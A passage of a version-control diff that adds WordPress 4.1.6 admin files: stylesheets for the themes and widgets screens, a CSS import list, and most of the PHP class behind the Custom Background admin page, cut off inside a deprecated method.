+		background-image: url(../images/arrows-2x.png);
+		-webkit-background-size: 15px 123px;
+		background-size: 15px 123px;
+	}
+
+	.customize-loading #customize-container,
+	.theme-install-overlay .wp-full-overlay-main {
+		background-image: url(../images/spinner-2x.gif);
+	}
+
+	.theme-install-overlay .wp-full-overlay-header .theme-install {
+		margin-top: 2px;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.available-theme .action-links .delete-theme {
+		float: none;
+		margin: 0;
+		padding: 0;
+		clear: both;
+	}
+
+	.available-theme .action-links .delete-theme a {
+		padding: 0;
+	}
+
+	.broken-themes table {
+		width: 100%;
+	}
+
+	.theme-install-overlay .wp-full-overlay-header .theme-install {
+		margin-top: 6px;
+		line-height: normal;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/widgets.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/widgets.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/widgets.css	(revision 33402)
@@ -0,0 +1,577 @@
+/* General Widgets Styles */
+
+.widget {
+	margin: 0 auto 10px;
+	position: relative;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.widget-top {
+	font-size: 13px;
+	font-weight: 600;
+	background: #f7f7f7;
+}
+
+.widget-top a.widget-action,
+.widget-top a.widget-action:hover {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	outline: none;
+	text-decoration: none;
+}
+
+.widget-title h4 {
+	margin: 0;
+	padding: 15px;
+	line-height: 1;
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.widgets-holder-wrap .widget-inside {
+	border-top: none;
+	padding: 1px 15px 15px 15px;
+	line-height: 16px;
+}
+
+.in-widget-title,
+#widgets-right a.widget-control-edit,
+#available-widgets .widget-description {
+	color: #666;
+}
+
+.deleting .widget-title,
+.deleting .widget-top a.widget-action:after {
+	color: #aaa;
+}
+
+/* Widget Dragging Helpers */
+.widget.ui-draggable-dragging {
+	min-width: 100%;
+}
+
+.widget.ui-sortable-helper {
+	opacity: 0.8;
+}
+
+.widget-placeholder {
+	border: 1px dashed #bbb;
+	margin: 0 auto 10px;
+	height: 45px;
+	width: 100%;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#widgets-right .widget-placeholder {
+	margin-top: 0;
+}
+
+#widgets-right .closed .widget-placeholder {
+	height: 0;
+	border: 0;
+	margin-top: -10px;
+}
+
+/* Widget Sidebars */
+.sidebar-name {
+	position: relative;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.sidebar-name-arrow {
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+}
+
+.js .sidebar-name {
+	cursor: pointer;
+}
+
+.sidebar-name h3 {
+	margin: 0;
+	padding: 8px 10px;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+.widgets-holder-wrap .description {
+	padding: 0 0 15px;
+	margin: 0;
+	font-style: normal;
+	color: #777;
+}
+
+#widgets-right .widgets-holder-wrap .description {
+	padding-left: 7px;
+	padding-right: 7px;
+}
+
+/* Widgets 2-col Layout */
+div.widget-liquid-left {
+	margin: 0;
+	width: 38%;
+	float: left;
+}
+
+div.widget-liquid-right {
+	float: right;
+	width: 58%;
+}
+
+/* Widgets Left - Available Widgets */
+
+div#widgets-left {
+	padding-top: 12px;
+}
+
+div#widgets-left .closed .sidebar-name,
+div#widgets-left .inactive-sidebar.closed .sidebar-name {
+	margin-bottom: 10px;
+}
+
+div#widgets-left .sidebar-name h3 {
+	padding: 10px 0;
+	margin: 0 10px 0 0;
+}
+
+div#widgets-left .sidebar-name .sidebar-name-arrow:before {
+	right: 0;
+	top: 4px;
+	padding: 4px 6px 4px 4px;
+}
+
+#widgets-left #available-widgets,
+div#widgets-left .widget-holder {
+	background: transparent;
+	border: none;
+}
+
+#widgets-left .widgets-holder-wrap {
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#available-widgets .widget-action {
+	display: none;
+}
+
+#available-widgets .widget {
+	margin: 0;
+}
+
+#available-widgets .widget:nth-child(odd) {
+	clear: both;
+}
+
+#available-widgets .widget .widget-description {
+	display: block;
+	padding: 10px 15px;
+	font-size: 12px;
+}
+
+#available-widgets #widget-list {
+	position: relative;
+}
+
+/* Inactive Sidebars */
+#widgets-left .inactive-sidebar {
+	clear: both;
+	width: 100%;
+	background: transparent;
+	padding: 0;
+	margin: 0 0 20px 0;
+	border: none;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+#widgets-left .inactive-sidebar.first {
+	margin-top: 40px;
+}
+
+/* Not sure what this is for... */
+div#widgets-left .inactive-sidebar .widget.expanded {
+	left: auto;
+}
+
+.widget-title-action {
+	float: right;
+	position: relative;
+}
+
+div#widgets-left .inactive-sidebar .widgets-sortables {
+	min-height: 42px;
+	padding: 0;
+	background: transparent;
+	margin: 0;
+	position: relative;
+}
+
+/* Widgets Right */
+
+div#widgets-right:after {
+	content: ".";
+	display: block;
+	height: 0;
+	clear: both;
+	visibility: hidden;
+}
+
+div#widgets-right .sidebars-column-1,
+div#widgets-right .sidebars-column-2 {
+	max-width: 450px;
+}
+
+div#widgets-right .widgets-holder-wrap {
+	margin: 10px 0 0 0;
+}
+
+div#widgets-right .sidebar-description {
+	min-height: 20px;
+	margin-top: -5px;
+}
+
+div#widgets-right .sidebar-name h3 {
+	padding: 15px 7px;
+}
+
+div#widgets-right .sidebar-name .sidebar-name-arrow:before {
+	right: 0;
+	top: 4px;
+}
+
+div#widgets-right .widget-top {
+	padding: 0;
+}
+
+div#widgets-right .widgets-sortables {
+	padding: 0 8px;
+	margin-bottom: 9px;
+	position: relative;
+	min-height: 123px;
+}
+
+div#widgets-right .closed .widgets-sortables {
+	min-height: 0;
+	margin-bottom: 0;
+}
+
+.sidebar-name .spinner {
+	margin: -5px 5px;
+	float: none;
+}
+
+/* Dragging a widget over a closed sidebar */
+#widgets-right .widgets-holder-wrap.widget-hover {
+	border-color: #777;
+	-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0 1px 2px rgba(0,0,0,0.3);
+}
+
+/* Accessibility Mode */
+.widgets_access #widgets-left .widget .widget-top {
+	cursor: auto;
+}
+
+.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,
+.widgets_access #wpwrap .widgets-holder-wrap.closed .widget,
+.widgets_access #wpwrap .widget-control-edit {
+	display: block;
+}
+
+.widgets_access #widgets-left .widget .widget-top:hover,
+.widgets_access #widgets-right .widget .widget-top:hover {
+	border-color: #ddd;
+}
+
+#available-widgets .widget-control-edit .edit,
+#widgets-left .inactive-sidebar .widget-control-edit .add,
+#widgets-right .widget-control-edit .add {
+	display: none;
+}
+
+.widget-control-edit {
+	display: block;
+	color: #666;
+	background: #EEE;
+	padding: 0 15px;
+	line-height: 43px;
+	border-left: 1px solid #DDD;
+}
+
+#widgets-left .widget-control-edit:hover,
+#widgets-right .widget-control-edit:hover {
+	color: #fff;
+	background: #444;
+	border-left: 0;
+	outline: 1px solid #444;
+}
+
+.widgets-holder-wrap .sidebar-name,
+.widgets-holder-wrap .sidebar-description {
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.editwidget {
+	margin: 0 auto;
+}
+
+.editwidget .widget-inside {
+	display: block;
+	padding: 0 15px;
+}
+
+.editwidget .widget-control-actions {
+	margin-top: 20px;
+}
+
+.js .widgets-holder-wrap.closed .widget,
+.js .widgets-holder-wrap.closed .sidebar-description,
+.js .closed br.clear {
+	display: none;
+}
+
+/* Hide Widget Settings by Default */
+.widget-inside,
+.widget-description {
+	display: none;
+}
+
+.widget-inside {
+	background: #fff;
+}
+
+/* Dragging widgets over the available widget area show's a "Deactivate" message */
+#removing-widget {
+	display: none;
+	font-weight: normal;
+	padding-left: 15px;
+	font-size: 12px;
+	line-height: 1;
+	color: black;
+}
+
+.js #removing-widget {
+	color: #2ea2cc;
+}
+
+.widget-control-noform,
+#access-off,
+.widgets_access .widget-action,
+.widgets_access .sidebar-name-arrow,
+.widgets_access #access-on,
+.widgets_access .widget-holder .description,
+.no-js .widget-holder .description {
+	display: none;
+}
+
+.widgets_access .widget-holder,
+.widgets_access #widget-list {
+	padding-top: 10px;
+}
+
+.widgets_access #access-off {
+	display: inline;
+}
+
+.widgets_access .sidebar-name,
+.widgets_access .widget .widget-top {
+	cursor: default;
+}
+
+
+/* Widgets Area Chooser */
+.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
+.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
+	-webkit-transition: opacity 0.1s linear;
+	transition: opacity 0.1s linear;
+}
+
+.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
+.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
+	/* -webkit-filter: blur(1px); */
+	opacity: 0.2;
+	pointer-events: none;
+}
+
+.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question {
+	/* -webkit-filter: none; */
+	opacity: 1;
+	pointer-events: auto;
+}
+
+.widgets-chooser ul,
+#widgets-left .widget-in-question .widget-top,
+#available-widgets .widget-top:hover,
+div#widgets-right .widget-top:hover,
+#widgets-left .widget-top:hover {
+	border-color: #999;
+	-webkit-box-shadow: 0 1px 2px rgba(0,0,0,0.1);
+	box-shadow: 0 1px 2px rgba(0,0,0,0.1);
+}
+
+.widgets-chooser ul.widgets-chooser-sidebars {
+	margin: 0;
+	list-style-type: none;
+	max-height: 300px;
+	overflow: auto;
+}
+
+.widgets-chooser {
+	display: none;
+}
+
+.widgets-chooser ul {
+	border: 1px solid #ccc;
+}
+
+.widgets-chooser li {
+	padding: 10px 15px 10px 35px;
+	border-bottom: 1px solid #ccc;
+	background: #fff;
+	margin: 0;
+	cursor: pointer;
+	outline: none;
+	position: relative;
+	-webkit-transition: background 0.2s ease-in-out;
+	transition: background 0.2s ease-in-out;
+}
+
+.widgets-chooser li:hover,
+.widgets-chooser li:focus {
+	background: rgba(255,255,255,0.7);
+}
+
+.widgets-chooser li:focus:before {
+	content: '\f147';
+	display: block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 26px/1 'dashicons';
+	color: #999;
+	position: absolute;
+	top: 7px;
+	left: 5px;
+}
+
+.widgets-chooser li:last-child {
+	border: none;
+}
+
+.widgets-chooser li.widgets-chooser-selected {
+	background: #2ea2cc;
+	color: #fff;
+}
+
+.widgets-chooser li.widgets-chooser-selected:before,
+.widgets-chooser li.widgets-chooser-selected:focus:before {
+	content: '\f147';
+	display: block;
+	-webkit-font-smoothing: antialiased;
+	font: normal 26px/1 'dashicons';
+	color: #fff;
+	position: absolute;
+	top: 7px;
+	left: 5px;
+}
+
+.widgets-chooser .widgets-chooser-actions {
+	padding: 10px 0 12px 0;
+	text-align: center;
+}
+
+.widgets-chooser button {
+	margin-right: 5px;
+}
+
+#available-widgets .widget .widget-top {
+	cursor: pointer;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and (max-width: 480px) {
+	div.widget-liquid-left {
+		width: 100%;
+		float: none;
+		border-right: none;
+		padding-right: 0;
+	}
+
+	#widgets-left .sidebar-name {
+		margin-right: 0;
+	}
+
+	#widgets-left #available-widgets .widget-top {
+		margin-right: 0;
+	}
+
+	#widgets-left .inactive-sidebar .widgets-sortables {
+		margin-right: 0;
+	}
+
+	div.widget-liquid-right {
+		width: 100%;
+		float: none;
+	}
+
+	div.widget {
+		margin: 0 auto 10px !important;
+		max-width: 480px;
+	}
+}
+
+@media screen and (max-width: 320px) {
+	div.widget {
+		max-width: 320px;
+	}
+}
+
+@media only screen and (min-width: 1250px) {
+	#widgets-left #available-widgets .widget {
+		width: 49%;
+		float: left;
+	}
+
+	.widget.ui-draggable-dragging {
+		min-width: 49%;
+	}
+
+	#widgets-left #available-widgets .widget:nth-child(even) {
+		float: right;
+	}
+
+	#widgets-right .sidebars-column-1,
+	#widgets-right .sidebars-column-2 {
+		float: left;
+		width: 49%;
+	}
+
+	#widgets-right .sidebars-column-1 {
+		margin-right: 2%;
+	}
+
+	#widgets-right.single-sidebar .sidebars-column-1,
+	#widgets-right.single-sidebar .sidebars-column-2 {
+		float: none;
+		width: 100%;
+		margin: 0;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/css/wp-admin.css
===================================================================
--- /tags/4.1.6/src/wp-admin/css/wp-admin.css	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/css/wp-admin.css	(revision 33402)
@@ -0,0 +1,14 @@
+@import url(common.css);
+@import url(forms.css);
+@import url(admin-menu.css);
+@import url(dashboard.css);
+@import url(list-tables.css);
+@import url(edit.css);
+@import url(revisions.css);
+@import url(media.css);
+@import url(themes.css);
+@import url(press-this.css);
+@import url(about.css);
+@import url(nav-menus.css);
+@import url(widgets.css);
+@import url(l10n.css);
Index: /tags/4.1.6/src/wp-admin/custom-background.php
===================================================================
--- /tags/4.1.6/src/wp-admin/custom-background.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/custom-background.php	(revision 33402)
@@ -0,0 +1,534 @@
+<?php
+/**
+ * The custom background script.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The custom background class.
+ *
+ * @since 3.0.0
+ * @package WordPress
+ * @subpackage Administration
+ */
+class Custom_Background {
+
+	/**
+	 * Callback for administration header.
+	 *
+	 * @var callback
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private $admin_header_callback;
+
+	/**
+	 * Callback for header div.
+	 *
+	 * @var callback
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private $admin_image_div_callback;
+
+	/**
+	 * Holds the page menu hook.
+	 *
+	 * @var string
+	 * @since 3.0.0
+	 * @access private
+	 */
+	private $page = '';
+
+	/**
+	 * @var bool
+	 */
+	private $updated;
+
+	/**
+	 * Constructor - Register administration header callback.
+	 *
+	 * @since 3.0.0
+	 * @param callback $admin_header_callback
+	 * @param callback $admin_image_div_callback Optional custom image div output callback.
+	 * @return Custom_Background
+	 */
+	public function __construct($admin_header_callback = '', $admin_image_div_callback = '') {
+		$this->admin_header_callback = $admin_header_callback;
+		$this->admin_image_div_callback = $admin_image_div_callback;
+
+		add_action( 'admin_menu', array( $this, 'init' ) );
+
+		add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) );
+
+		// Unused since 3.5.0.
+		add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property name.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Set up the hooks for the Custom Background admin page.
+	 *
+	 * @since 3.0.0
+	 */
+	public function init() {
+		if ( ! current_user_can('edit_theme_options') )
+			return;
+
+		$this->page = $page = add_theme_page(__('Background'), __('Background'), 'edit_theme_options', 'custom-background', array($this, 'admin_page'));
+
+		add_action("load-$page", array($this, 'admin_load'));
+		add_action("load-$page", array($this, 'take_action'), 49);
+		add_action("load-$page", array($this, 'handle_upload'), 49);
+
+		if ( $this->admin_header_callback )
+			add_action("admin_head-$page", $this->admin_header_callback, 51);
+	}
+
+	/**
+	 * Set up the enqueue for the CSS & JavaScript files.
+	 *
+	 * @since 3.0.0
+	 */
+	public function admin_load() {
+		get_current_screen()->add_help_tab( array(
+			'id'      => 'overview',
+			'title'   => __('Overview'),
+			'content' =>
+				'<p>' . __( 'You can customize the look of your site without touching any of your theme&#8217;s code by using a custom background. Your background can be an image or a color.' ) . '</p>' .
+				'<p>' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '</p>' .
+				'<p>' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
+				'<p>' . __( 'Don&#8217;t forget to click on the Save Changes button when you are finished.' ) . '</p>'
+		) );
+
+		get_current_screen()->set_help_sidebar(
+			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+			'<p>' . __( '<a href="http://codex.wordpress.org/Appearance_Background_Screen" target="_blank">Documentation on Custom Background</a>' ) . '</p>' .
+			'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+		);
+
+		wp_enqueue_media();
+		wp_enqueue_script('custom-background');
+		wp_enqueue_style('wp-color-picker');
+	}
+
+	/**
+	 * Execute custom background modification.
+	 *
+	 * @since 3.0.0
+	 */
+	public function take_action() {
+
+		if ( empty($_POST) )
+			return;
+
+		if ( isset($_POST['reset-background']) ) {
+			check_admin_referer('custom-background-reset', '_wpnonce-custom-background-reset');
+			remove_theme_mod('background_image');
+			remove_theme_mod('background_image_thumb');
+			$this->updated = true;
+			return;
+		}
+
+		if ( isset($_POST['remove-background']) ) {
+			// @TODO: Uploaded files are not removed here.
+			check_admin_referer('custom-background-remove', '_wpnonce-custom-background-remove');
+			set_theme_mod('background_image', '');
+			set_theme_mod('background_image_thumb', '');
+			$this->updated = true;
+			wp_safe_redirect( $_POST['_wp_http_referer'] );
+			return;
+		}
+
+		if ( isset($_POST['background-repeat']) ) {
+			check_admin_referer('custom-background');
+			if ( in_array($_POST['background-repeat'], array('repeat', 'no-repeat', 'repeat-x', 'repeat-y')) )
+				$repeat = $_POST['background-repeat'];
+			else
+				$repeat = 'repeat';
+			set_theme_mod('background_repeat', $repeat);
+		}
+
+		if ( isset($_POST['background-position-x']) ) {
+			check_admin_referer('custom-background');
+			if ( in_array($_POST['background-position-x'], array('center', 'right', 'left')) )
+				$position = $_POST['background-position-x'];
+			else
+				$position = 'left';
+			set_theme_mod('background_position_x', $position);
+		}
+
+		if ( isset($_POST['background-attachment']) ) {
+			check_admin_referer('custom-background');
+			if ( in_array($_POST['background-attachment'], array('fixed', 'scroll')) )
+				$attachment = $_POST['background-attachment'];
+			else
+				$attachment = 'fixed';
+			set_theme_mod('background_attachment', $attachment);
+		}
+
+		if ( isset($_POST['background-color']) ) {
+			check_admin_referer('custom-background');
+			$color = preg_replace('/[^0-9a-fA-F]/', '', $_POST['background-color']);
+			if ( strlen($color) == 6 || strlen($color) == 3 )
+				set_theme_mod('background_color', $color);
+			else
+				set_theme_mod('background_color', '');
+		}
+
+		$this->updated = true;
+	}
+
+	/**
+	 * Display the custom background page.
+	 *
+	 * @since 3.0.0
+	 */
+	public function admin_page() {
+?>
+<div class="wrap" id="custom-background">
+<h2><?php _e( 'Custom Background' ); ?></h2>
+
+<?php if ( current_user_can( 'customize' ) ) { ?>
+<div class="notice notice-info hide-if-no-customize">
+	<p>
+		<?php
+		printf(
+			__( 'You can now manage and live-preview Custom Backgrounds in the <a href="%1$s">Customizer</a>.' ),
+			admin_url( 'customize.php?autofocus[control]=background_image' )
+		);
+		?>
+	</p>
+</div>
+<?php } ?>
+
+<?php if ( ! empty( $this->updated ) ) { ?>
+<div id="message" class="updated">
+<p><?php printf( __( 'Background updated. <a href="%s">Visit your site</a> to see how it looks.' ), home_url( '/' ) ); ?></p>
+</div>
+<?php } ?>
+
+<h3><?php _e( 'Background Image' ); ?></h3>
+
+<table class="form-table">
+<tbody>
+<tr>
+<th scope="row"><?php _e( 'Preview' ); ?></th>
+<td>
+	<?php
+	if ( $this->admin_image_div_callback ) {
+		call_user_func( $this->admin_image_div_callback );
+	} else {
+		$background_styles = '';
+		if ( $bgcolor = get_background_color() )
+			$background_styles .= 'background-color: #' . $bgcolor . ';';
+
+		if ( get_background_image() ) {
+			$background_image_thumb = esc_url( set_url_scheme( get_theme_mod( 'background_image_thumb', str_replace( '%', '%%', get_background_image() ) ) ) );
+
+			// Background-image URL must be single quote, see below.
+			$background_styles .= ' background-image: url(\'' . $background_image_thumb . '\');'
+				. ' background-repeat: ' . get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) . ';'
+				. ' background-position: top ' . get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
+		}
+	?>
+	<div id="custom-background-image" style="<?php echo $background_styles; ?>"><?php // must be double quote, see above ?>
+		<?php if ( get_background_image() ) { ?>
+		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" /><br />
+		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" />
+		<?php } ?>
+	</div>
+	<?php } ?>
+</td>
+</tr>
+
+<?php if ( get_background_image() ) : ?>
+<tr>
+<th scope="row"><?php _e('Remove Image'); ?></th>
+<td>
+<form method="post" action="">
+<?php wp_nonce_field('custom-background-remove', '_wpnonce-custom-background-remove'); ?>
+<?php submit_button( __( 'Remove Background Image' ), 'button', 'remove-background', false ); ?><br/>
+<?php _e('This will remove the background image. You will not be able to restore any customizations.') ?>
+</form>
+</td>
+</tr>
+<?php endif; ?>
+
+<?php $default_image = get_theme_support( 'custom-background', 'default-image' ); ?>
+<?php if ( $default_image && get_background_image() != $default_image ) : ?>
+<tr>
+<th scope="row"><?php _e('Restore Original Image'); ?></th>
+<td>
+<form method="post" action="">
+<?php wp_nonce_field('custom-background-reset', '_wpnonce-custom-background-reset'); ?>
+<?php submit_button( __( 'Restore Original Image' ), 'button', 'reset-background', false ); ?><br/>
+<?php _e('This will restore the original background image. You will not be able to restore any customizations.') ?>
+</form>
+</td>
+</tr>
+<?php endif; ?>
+
+<tr>
+<th scope="row"><?php _e('Select Image'); ?></th>
+<td><form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post" action="">
+	<p>
+		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
+		<input type="file" id="upload" name="import" />
+		<input type="hidden" name="action" value="save" />
+		<?php wp_nonce_field( 'custom-background-upload', '_wpnonce-custom-background-upload' ); ?>
+		<?php submit_button( __( 'Upload' ), 'button', 'submit', false ); ?>
+	</p>
+	<p>
+		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
+		<button id="choose-from-library-link" class="button"
+			data-choose="<?php esc_attr_e( 'Choose a Background Image' ); ?>"
+			data-update="<?php esc_attr_e( 'Set as background' ); ?>"><?php _e( 'Choose Image' ); ?></button>
+	</p>
+	</form>
+</td>
+</tr>
+</tbody>
+</table>
+
+<h3><?php _e('Display Options') ?></h3>
+<form method="post" action="">
+<table class="form-table">
+<tbody>
+<?php if ( get_background_image() ) : ?>
+<tr>
+<th scope="row"><?php _e( 'Position' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Position' ); ?></span></legend>
+<label>
+<input name="background-position-x" type="radio" value="left"<?php checked( 'left', get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ) ); ?> />
+<?php _e('Left') ?>
+</label>
+<label>
+<input name="background-position-x" type="radio" value="center"<?php checked( 'center', get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ) ); ?> />
+<?php _e('Center') ?>
+</label>
+<label>
+<input name="background-position-x" type="radio" value="right"<?php checked( 'right', get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ) ); ?> />
+<?php _e('Right') ?>
+</label>
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><?php _e( 'Repeat' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Repeat' ); ?></span></legend>
+<label><input type="radio" name="background-repeat" value="no-repeat"<?php checked( 'no-repeat', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?> /> <?php _e('No Repeat'); ?></label>
+	<label><input type="radio" name="background-repeat" value="repeat"<?php checked( 'repeat', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?> /> <?php _e('Tile'); ?></label>
+	<label><input type="radio" name="background-repeat" value="repeat-x"<?php checked( 'repeat-x', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?> /> <?php _e('Tile Horizontally'); ?></label>
+	<label><input type="radio" name="background-repeat" value="repeat-y"<?php checked( 'repeat-y', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?> /> <?php _e('Tile Vertically'); ?></label>
+</fieldset></td>
+</tr>
+
+<tr>
+<th scope="row"><?php _ex( 'Attachment', 'Background Attachment' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Attachment' ); ?></span></legend>
+<label>
+<input name="background-attachment" type="radio" value="scroll" <?php checked( 'scroll', get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ) ); ?> />
+<?php _e( 'Scroll' ); ?>
+</label>
+<label>
+<input name="background-attachment" type="radio" value="fixed" <?php checked( 'fixed', get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ) ); ?> />
+<?php _e( 'Fixed' ); ?>
+</label>
+</fieldset></td>
+</tr>
+<?php endif; // get_background_image() ?>
+<tr>
+<th scope="row"><?php _e( 'Background Color' ); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e( 'Background Color' ); ?></span></legend>
+<?php
+$default_color = '';
+if ( current_theme_supports( 'custom-background', 'default-color' ) )
+	$default_color = ' data-default-color="#' . esc_attr( get_theme_support( 'custom-background', 'default-color' ) ) . '"';
+?>
+<input type="text" name="background-color" id="background-color" value="#<?php echo esc_attr( get_background_color() ); ?>"<?php echo $default_color ?> />
+</fieldset></td>
+</tr>
+</tbody>
+</table>
+
+<?php wp_nonce_field('custom-background'); ?>
+<?php submit_button( null, 'primary', 'save-background-options' ); ?>
+</form>
+
+</div>
+<?php
+	}
+
+	/**
+	 * Handle an Image upload for the background image.
+	 *
+	 * @since 3.0.0
+	 */
+	public function handle_upload() {
+
+		if ( empty($_FILES) )
+			return;
+
+		check_admin_referer('custom-background-upload', '_wpnonce-custom-background-upload');
+		$overrides = array('test_form' => false);
+
+		$uploaded_file = $_FILES['import'];
+		$wp_filetype = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'], false );
+		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) )
+			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
+
+		$file = wp_handle_upload($uploaded_file, $overrides);
+
+		if ( isset($file['error']) )
+			wp_die( $file['error'] );
+
+		$url = $file['url'];
+		$type = $file['type'];
+		$file = $file['file'];
+		$filename = basename($file);
+
+		// Construct the object array
+		$object = array(
+			'post_title' => $filename,
+			'post_content' => $url,
+			'post_mime_type' => $type,
+			'guid' => $url,
+			'context' => 'custom-background'
+		);
+
+		// Save the data
+		$id = wp_insert_attachment($object, $file);
+
+		// Add the meta-data
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+		update_post_meta( $id, '_wp_attachment_is_custom_background', get_option('stylesheet' ) );
+
+		set_theme_mod('background_image', esc_url_raw($url));
+
+		$thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' );
+		set_theme_mod('background_image_thumb', esc_url_raw( $thumbnail[0] ) );
+
+		/** This action is documented in wp-admin/custom-header.php */
+		do_action( 'wp_create_file_in_uploads', $file, $id ); // For replication
+		$this->updated = true;
+	}
+
+	/**
+	 * AJAX handler for adding custom background context to an attachment.
+	 *
+	 * Triggered when the user adds a new background image from the
+	 * Media Manager.
+	 *
+	 * @since 4.1.0
+	 */
+	public function ajax_background_add() {
+		check_ajax_referer( 'background-add', 'nonce' );
+
+		if ( ! current_user_can( 'edit_theme_options' ) ) {
+			wp_send_json_error();
+		}
+
+		$attachment_id = absint( $_POST['attachment_id'] );
+		if ( $attachment_id < 1 ) {
+			wp_send_json_error();
+		}
+
+		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_stylesheet() );
+
+		wp_send_json_success();
+	}
+
+	/**
+	 *
+	 * @since 3.4.0
+	 * @deprecated 3.5.0
+	 */
+	public function attachment_fields_to_edit( $form_fields ) {
+		return $form_fields;
+	}
+
+	/**
+	 *
+	 * @since 3.4.0
+	 * @deprecated 3.5.0
+	 */
+	public function filter_upload_tabs( $tabs ) {
+		return $tabs;
+	}
+
+	/**
+	 *
+	 * @since 3.4.0
+	 * @deprecated 3.5.0
+	 */
+	public function wp_set_background_image() {
+		if ( ! current_user_can('edit_theme_options') || ! isset( $_POST['attachment_id'] ) ) exit;
+		$attachment_id = absint($_POST['attachment_id']);
+		/** This filter is documented in wp-admin/includes/media.php */
